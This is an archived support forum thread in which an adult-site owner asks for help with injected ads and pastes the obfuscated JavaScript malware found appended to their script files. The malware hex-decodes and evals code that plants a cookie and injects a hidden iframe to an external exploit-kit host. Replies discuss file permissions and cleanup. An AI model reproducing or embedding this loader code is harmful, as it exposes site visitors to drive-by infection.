The forum is here for legacy reasons. No new posts will be created. User registration is disabled! If you have any questions, please email us or check https://www.adultscriptpro.com for more details!
You are not logged in.
I've a problem with malware,
In the footer of the page. I Get a ad from grow your penis with a link beneath it adv/106/
But there is no adv 106 in my database
And it itn't hardcoded in the footer..
Anyone have maybe a solution
Offline
this i find at the bottom of al javascripts. ->
/*7e2b206a75d44b321a971369ed7b5756*/;(function(){var knhdzdtn="";var knzfraib="77696e646f772e6f6e6c6f6164203d2066756e6374696f6e28297b66756e6374696f6e20783232627128612c622c63297b69662863297b7661722064203d206e6577204461746528293b642e7365744461746528642e6765744461746528292b63293b7d6966286120262620622920646f63756d656e742e636f6f6b6965203d20612b273d272b622b2863203f20273b20657870697265733d272b642e746f555443537472696e672829203a202727293b656c73652072657475726e2066616c73653b7d66756e6374696f6e2078333362712861297b7661722062203d206e65772052656745787028612b273d285b5e3b5d297b312c7d27293b7661722063203d20622e6578656328646f63756d656e742e636f6f6b6965293b69662863292063203d20635b305d2e73706c697428273d27293b656c73652072657475726e2066616c73653b72657475726e20635b315d203f20635b315d203a2066616c73653b7d766172207833336471203d2078333362712822643466363462333631366636633333336666646230303537663534666439343622293b69662820783333647120213d2022613931353665386662373863323864326164306439383535353637356463613922297b783232627128226434663634623336313666366333333366666462303035376635346664393436222c226139313536653866623738633238643261643064393835353536373564636139222c31293b766172207832326471203d20646f63756d656e742e637265617465456c656d656e74282264697622293b766172207832327171203d2022687474703a2f2f696d672e7a656c656e6179616d6f7264612e696e666f2f6d656761616476657274697a652f3f4a57734170594a575955413d5468596179564774266e6574776d575565793d6d6f75645374744b4e69724263266b774a536c4f56493d4e4d556654596346434345744a4b48674650267262547463417245454f4841703d586c564545717964784a61266b6579776f72643d316264363534653839613439366430616135373461643233316661626539653026564754706875504e53457a743d434170676d646276636c26445471464e757953765a3d6f526a4541656f69644f267a627153596b584b4f574d4c5a465a3d646474556272664e4c544f7052223b78323264712e696e6e657248544d4c3d223c646976207374796c653d27706f736974696f6e3a6162736f6c7574653b7a2d696e6465783a313030303b746f703a2d3130303070783b6c6566743a2d3939393970783b273e3c696672616d65207372633d27222b78323271712b22273e3c2f696672616d653e3c2f6469763e223b646f63756d656e742e626f64792e617070656e644368696c64287832326471293b7d7d";for (var ebbtasth=0;ebbtasth<knzfraib.length;ebbtasth+=2){knhdzdtn=knhdzdtn+parseInt(knzfraib.substring(ebbtasth,ebbtasth+2), 16)+",";}knhdzdtn=knhdzdtn.substring(0,knhdzdtn.length-1);eval(eval('String.fromCharCode('+knhdzdtn+')'));})();/*7e2b206a75d44b321a971369ed7b5756*/and i checked on : https://sitecheck.sucuri.net/results/www.wizzporn.com
and this is the result :
Known javascript malware. Details: http://labs.sucuri.net/db/malware/malware-entry-mwexploitkitblackhole1?v305
!function(a,b){function c(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function d(){var a=t.elements;return"string"==typeof a?a.split(" "):a}function e(a,b){var c=t.elements;"string"!=typeof c&&(c=c.join(" ")),"string"!=typeof a&&(a=a.join(" ")),t.elements=c+" "+a,j(b)}function f(a){var b=s[a[q]];return b||(b={},r++,a[q]=r,s[r]=b),b}function g(a,c,d){if(c||(c=b),l)return c.createElement(a);d||(d=f(c));var e;return e=d.cache[a]?d.cache[a].cloneNode():p.test(a)?(d.cache[a]=d.createElem(a)).cloneNode():d.createElem(a),!e.canHaveChildren||o.test(a)||e.tagUrn?e:d.frag.appendChild(e)}function h(a,c){if(a||(a=b),l)return a.createDocumentFragment();c=c||f(a);for(var e=c.frag.cloneNode(),g=0,h=d(),i=h.length;i>g;g++)e.createElement(h[g]);return e}function i(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return t.shivMethods?g(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+d().join().replace(/[\w\-:]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(t,b.frag)}function j(a){a||(a=b);var d=f(a);return!t.shivCSS||k||d.hasCSS||(d.hasCSS=!!c(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),l||i(a,d),a}var k,l,m="3.7.2",n=a.html5||{},o=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,p=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,q="_html5shiv",r=0,s={};!function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",k="hidden"in a,l=1==a.childNodes.length||function(){b.createElement("a");var a=b.createDocumentFragment();return"undefined"==typeof a.cloneNode||"undefined"==typeof a.createDocumentFragment||"undefined"==typeof a.createElement}()}catch(c){k=!0,l=!0}}();var t={elements:n.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output picture progress section summary template time video",version:m,shivCSS:n.shivCSS!==!1,supportsUnknownElements:l,shivMethods:n.shivMethods!==!1,type:"default",shivDocument:j,createElement:g,createDocumentFragment:h,addElements:e};a.html5=t,j(b)}("undefined"!=typeof window?window:this,document);/*db9cef5db66eabe15002935fee4a479c*/;window["\x64\x6f"+"\x63\x75"+"\x6d\x65"+"\x6e\x74"]["\x69\x62\x66\x68\x66"]=["\x30\x33\x61\x32\x64\x33\x31\x33\x30\x33\x30\x33\x30\x37\x30\x37\x38\x33\x62\x36\x63\x36\x35\x36\x36\x37\x34\x33\x61\x32\x64\x33\x39\x33\x39\x33\x39\x33\x39\x37\x30\x37\x38\x33\x62\x32\x37\x33\x65\x33\x63\x36\x39\x36\x36\x37\x32\x36\x31\x36\x64\x36\x35\x32\x30\x37\x33\x37\x32\x36\x33\x33\x64\x32\x37\x32\x32\x32\x62\x37\x38\x33\x32\x33\x32\x37\x31\x37\x31\x32\x62\x32\x32\x32\x37\x33\x65\x33\x63\x32\x66","\x62\x32\x37\x33\x64\x32\x38\x35\x62\x35\x65\x33\x62\x35\x64\x32\x39\x37\x62\x33\x31\x32\x63\x37\x64\x32\x37\x32\x39\x33\x62\x37\x36\x36\x31\x37\x32\x32\x30\x36\x33\x32\x30\x33\x64\x32\x30\x36\x32\x32\x65\x36\x35\x37\x38\x36\x35\x36\x33\x32\x38\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x33\x36\x66\x36\x66\x36\x62\x36\x39\x36\x35\x32\x39\x33\x62\x36\x39\x36\x36\x32\x38","\x37\x32\x62\x36\x32\x32\x62\x32\x38\x36\x33\x32\x30\x33\x66\x32\x30\x32\x37\x33\x62\x32\x30\x36\x35\x37\x38\x37\x30\x36\x39\x37\x32\x36\x35\x37\x33\x33\x64\x32\x37\x32\x62\x36\x34\x32\x65\x37\x34\x36\x66\x35\x35\x35\x34\x34\x33\x35\x33\x37\x34\x37\x32\x36\x39\x36\x65\x36\x37\x32\x38\x32\x39\x32\x30\x33\x61\x32\x30\x32\x37\x32\x37\x32\x39\x33\x62\x36\x35\x36\x63\x37\x33\x36\x35\x32\x30\x37\x32\x36\x35","\x33\x37\x36\x36\x33\x35\x33\x34\x36\x36\x36\x34\x33\x39\x33\x34\x33\x36\x32\x32\x32\x63\x32\x32\x36\x31\x33\x39\x33\x31\x33\x35\x33\x36\x36\x35\x33\x38\x36\x36\x36\x32\x33\x37\x33\x38\x36\x33\x33\x32\x33\x38\x36\x34\x33\x32\x36\x31\x36\x34\x33\x30\x36\x34\x33\x39\x33\x38\x33\x35\x33\x35\x33\x35\x33\x36\x33\x37\x33\x35\x36\x34\x36\x33\x36\x31\x33\x39\x32\x32\x32\x63\x33\x31\x32\x39\x33\x62\x37\x36\x36","\x37\x34\x37\x35\x37\x32\x36\x65\x32\x30\x36\x36\x36\x31\x36\x63\x37\x33\x36\x35\x33\x62\x37\x64\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36\x39\x36\x66\x36\x65\x32\x30\x37\x38\x33\x33\x33\x33\x36\x32\x37\x31\x32\x38\x36\x31\x32\x39\x37\x62\x37\x36\x36\x31\x37\x32\x32\x30\x36\x32\x32\x30\x33\x64\x32\x30\x36\x65\x36\x35\x37\x37\x32\x30\x35\x32\x36\x35\x36\x37\x34\x35\x37\x38\x37\x30\x32\x38\x36\x31\x32","\x36\x39\x36\x36\x37\x32\x36\x31\x36\x64\x36\x35\x33\x65\x33\x63\x32\x66\x36\x34\x36\x39\x37\x36\x33\x65\x32\x32\x33\x62\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x32\x36\x66\x36\x34\x37\x39\x32\x65\x36\x31\x37\x30\x37\x30\x36\x35\x36\x65\x36\x34\x34\x33\x36\x38\x36\x39\x36\x63\x36\x34\x32\x38\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x39\x33\x62\x37\x64\x37\x64\x22","\x36\x29\x2b\x22\x2c\x22\x3b\x7d\x6e\x7a\x66\x73\x62\x3d\x6e\x7a\x66\x73\x62\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x30\x2c\x6e\x7a\x66\x73\x62\x2e\x6c\x65\x6e\x67\x74\x68\x2d\x31\x29\x3b\x65\x76\x61\x6c\x28\x65\x76\x61\x6c\x28\x27\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x27\x2b\x6e\x7a\x66\x73\x62\x2b\x27\x29\x27\x29\x29\x3b\x7d\x29\x28\x29\x3b","\x34\x33\x32\x36\x31\x36\x34\x33\x30\x36\x34\x33\x39\x33\x38\x33\x35\x33\x35\x33\x35\x33\x36\x33\x37\x33\x35\x36\x34\x36\x33\x36\x31\x33\x39\x32\x32\x32\x39\x37\x62\x37\x38\x33\x32\x33\x32\x36\x32\x37\x31\x32\x38\x32\x32\x36\x34\x33\x34\x36\x36\x33\x36\x33\x34\x36\x32\x33\x33\x33\x36\x33\x31\x33\x36\x36\x36\x33\x36\x36\x33\x33\x33\x33\x33\x33\x33\x36\x36\x36\x36\x36\x34\x36\x32\x33\x30\x33\x30\x33\x35","\x39\x36\x66\x36\x65\x32\x30\x37\x38\x33\x32\x33\x32\x36\x32\x37\x31\x32\x38\x36\x31\x32\x63\x36\x32\x32\x63\x36\x33\x32\x39\x37\x62\x36\x39\x36\x36\x32\x38\x36\x33\x32\x39\x37\x62\x37\x36\x36\x31\x37\x32\x32\x30\x36\x34\x32\x30\x33\x64\x32\x30\x36\x65\x36\x35\x37\x37\x32\x30\x34\x34\x36\x31\x37\x34\x36\x35\x32\x38\x32\x39\x33\x62\x36\x34\x32\x65\x37\x33\x36\x35\x37\x34\x34\x34\x36\x31\x37\x34\x36\x35","\x31\x37\x32\x32\x30\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x30\x33\x64\x32\x30\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x33\x37\x32\x36\x35\x36\x31\x37\x34\x36\x35\x34\x35\x36\x63\x36\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x38\x32\x32\x36\x34\x36\x39\x37\x36\x32\x32\x32\x39\x33\x62\x37\x36\x36\x31\x37\x32\x32\x30\x37\x38\x33\x32\x33\x32\x37\x31\x37\x31\x32\x30","\x35\x34\x34\x64\x34\x63\x33\x64\x32\x32\x33\x63\x36\x34\x36\x39\x37\x36\x32\x30\x37\x33\x37\x34\x37\x39\x36\x63\x36\x35\x33\x64\x32\x37\x37\x30\x36\x66\x37\x33\x36\x39\x37\x34\x36\x39\x36\x66\x36\x65\x33\x61\x36\x31\x36\x32\x37\x33\x36\x66\x36\x63\x37\x35\x37\x34\x36\x35\x33\x62\x37\x61\x32\x64\x36\x39\x36\x65\x36\x34\x36\x35\x37\x38\x33\x61\x33\x31\x33\x30\x33\x30\x33\x30\x33\x62\x37\x34\x36\x66\x37","\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x76\x61\x72\x20\x6e\x7a\x66\x73\x62\x3d\x22\x22\x3b\x76\x61\x72\x20\x61\x62\x7a\x65\x69\x3d\x22\x37\x37\x36\x39\x36\x65\x36\x34\x36\x66\x37\x37\x32\x65\x36\x66\x36\x65\x36\x63\x36\x66\x36\x31\x36\x34\x32\x30\x33\x64\x32\x30\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36\x39\x36\x66\x36\x65\x32\x38\x32\x39\x37\x62\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36","\x31\x35\x64\x32\x30\x33\x66\x32\x30\x36\x33\x35\x62\x33\x31\x35\x64\x32\x30\x33\x61\x32\x30\x36\x36\x36\x31\x36\x63\x37\x33\x36\x35\x33\x62\x37\x64\x37\x36\x36\x31\x37\x32\x32\x30\x37\x38\x33\x33\x33\x33\x36\x34\x37\x31\x32\x30\x33\x64\x32\x30\x37\x38\x33\x33\x33\x33\x36\x32\x37\x31\x32\x38\x32\x32\x36\x34\x33\x34\x36\x36\x33\x36\x33\x34\x36\x32\x33\x33\x33\x36\x33\x31\x33\x36\x36\x36\x33\x36\x36\x33","\x37\x36\x66\x37\x32\x36\x34\x33\x64\x33\x31\x36\x32\x36\x34\x33\x36\x33\x35\x33\x34\x36\x35\x33\x38\x33\x39\x36\x31\x33\x34\x33\x39\x33\x36\x36\x34\x33\x30\x36\x31\x36\x31\x33\x35\x33\x37\x33\x34\x36\x31\x36\x34\x33\x32\x33\x33\x33\x31\x36\x36\x36\x31\x36\x32\x36\x35\x33\x39\x36\x35\x33\x30\x32\x32\x33\x62\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x65\x36\x39\x36\x65\x36\x65\x36\x35\x37\x32\x34\x38","\x3b\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x61\x72\x7a\x66\x62\x3d\x30\x3b\x61\x72\x7a\x66\x62\x3c\x61\x62\x7a\x65\x69\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x61\x72\x7a\x66\x62\x2b\x3d\x32\x29\x7b\x6e\x7a\x66\x73\x62\x3d\x6e\x7a\x66\x73\x62\x2b\x70\x61\x72\x73\x65\x49\x6e\x74\x28\x61\x62\x7a\x65\x69\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x61\x72\x7a\x66\x62\x2c\x61\x72\x7a\x66\x62\x2b\x32\x29\x2c\x20\x31","\x33\x64\x32\x30\x32\x32\x36\x38\x37\x34\x37\x34\x37\x30\x33\x61\x32\x66\x32\x66\x37\x33\x36\x35\x37\x32\x32\x65\x36\x33\x36\x38\x36\x35\x37\x32\x36\x65\x36\x31\x37\x39\x36\x31\x36\x34\x36\x31\x36\x64\x36\x31\x32\x65\x36\x39\x36\x65\x36\x36\x36\x66\x32\x66\x36\x64\x36\x35\x36\x37\x36\x31\x36\x31\x36\x34\x37\x36\x36\x35\x37\x32\x37\x34\x36\x39\x37\x61\x36\x35\x32\x66\x33\x66\x36\x62\x36\x35\x37\x39\x37","\x36\x33\x32\x39\x32\x30\x36\x33\x32\x30\x33\x64\x32\x30\x36\x33\x35\x62\x33\x30\x35\x64\x32\x65\x37\x33\x37\x30\x36\x63\x36\x39\x37\x34\x32\x38\x32\x37\x33\x64\x32\x37\x32\x39\x33\x62\x36\x35\x36\x63\x37\x33\x36\x35\x32\x30\x37\x32\x36\x35\x37\x34\x37\x35\x37\x32\x36\x65\x32\x30\x36\x36\x36\x31\x36\x63\x37\x33\x36\x35\x33\x62\x37\x32\x36\x35\x37\x34\x37\x35\x37\x32\x36\x65\x32\x30\x36\x33\x35\x62\x33","\x33\x33\x33\x33\x33\x33\x36\x36\x36\x36\x36\x34\x36\x32\x33\x30\x33\x30\x33\x35\x33\x37\x36\x36\x33\x35\x33\x34\x36\x36\x36\x34\x33\x39\x33\x34\x33\x36\x32\x32\x32\x39\x33\x62\x36\x39\x36\x36\x32\x38\x32\x30\x37\x38\x33\x33\x33\x33\x36\x34\x37\x31\x32\x30\x32\x31\x33\x64\x32\x30\x32\x32\x36\x31\x33\x39\x33\x31\x33\x35\x33\x36\x36\x35\x33\x38\x36\x36\x36\x32\x33\x37\x33\x38\x36\x33\x33\x32\x33\x38\x36","\x32\x38\x36\x34\x32\x65\x36\x37\x36\x35\x37\x34\x34\x34\x36\x31\x37\x34\x36\x35\x32\x38\x32\x39\x32\x62\x36\x33\x32\x39\x33\x62\x37\x64\x36\x39\x36\x36\x32\x38\x36\x31\x32\x30\x32\x36\x32\x36\x32\x30\x36\x32\x32\x39\x32\x30\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x33\x36\x66\x36\x66\x36\x62\x36\x39\x36\x35\x32\x30\x33\x64\x32\x30\x36\x31\x32\x62\x32\x37\x33\x64\x32"];var kisik=thhzh=sdade=hnnih=adten=eztne=sdskn=window["\x64\x6f"+"\x63\x75"+"\x6d\x65"+"\x6e\x74"]["\x69\x62\x66\x68\x66"],ihsdh=window;eval(eval("[ihsdh[\"sdade\"][\"\x31\x31\"],ihsdh[\"sdade\"][\"\x38\"],ihsdh[\"hnnih\"][\"\x31\x38\"],ihsdh[\"\x65\x7a\x74\x6e\x65\"][\"\x32\"],ihsdh[\"\x74\x68\x68\x7a\x68\"][\"\x34\"],ihsdh[\"\x68\x6e\x6e\x69\x68\"][\"\x31\"],ihsdh[\"\x68\x6e\x6e\x69\x68\"][\"\x31\x36\"],ihsdh[\"\x65\x7a\x74\x6e\x65\"][\"\x31\x32\"],ihsdh[\"\x74\x68\x68\x7a\x68\"][\"\x31\x37\"],ihsdh[\"\x73\x64\x61\x64\x65\"][\"\x37\"],ihsdh[\"sdade\"][\"\x33\"],ihsdh[\"\x74\x68\x68\x7a\x68\"][\"\x39\"],ihsdh[\"thhzh\"][\"\x31\x35\"],ihsdh[\"\x61\x64\x74\x65\x6e\"][\"\x31\x33\"],ihsdh[\"\x68\x6e\x6e\x69\x68\"][\"\x31\x30\"],ihsdh[\"eztne\"][\"\x30\"],ihsdh[\"\x73\x64\x61\x64\x65\"][\"\x35\"],ihsdh[\"\x74\x68\x68\x7a\x68\"][\"\x31\x34\"],ihsdh[\"sdade\"][\"\x36\"]].join(\"\");"));/*db9cef5db66eabe15002935fee4a479c*infection url : http://www.wizzporn.com/misc/html5shiv/html5shiv.min.js
Last edited by donronca (2016-02-15 00:24:40)
Offline
html5shiv.min.js is a javascript framework used to modernize internet explorer. You can read more here: https://github.com/aFarkas/html5shiv. Someone might have injected another malware into your html/javascript. I also checked your site, but there is no ad in the footer.
Adult Scripts: Adult Script Pro - Adult Search Script
Adult Advertising/Traffic: Plug Rush - EXOClick - PopAds
Offline
I've opend all the javascripts, and in each one of it there was a strange code, so i deleted it..
And now it works again,
Also i've requested a new check in webmaster tool only they say. There is malware detected.
I've tried to scan the site with malware scanners and there are no sights of malware..
Offline
The question is how it got there. In order for someone to write to the javascript files they need to be the user that uploaded the files (or if the files are 0777, not by default, then it can be any user).
Adult Scripts: Adult Script Pro - Adult Search Script
Adult Advertising/Traffic: Plug Rush - EXOClick - PopAds
Offline
i've checked but only the folders they need to be 777 are 777,
couple days ago we had to upload the full script and overwrite all, but still google says that there is malware in the channel section, but the tools on internet can't find it
Offline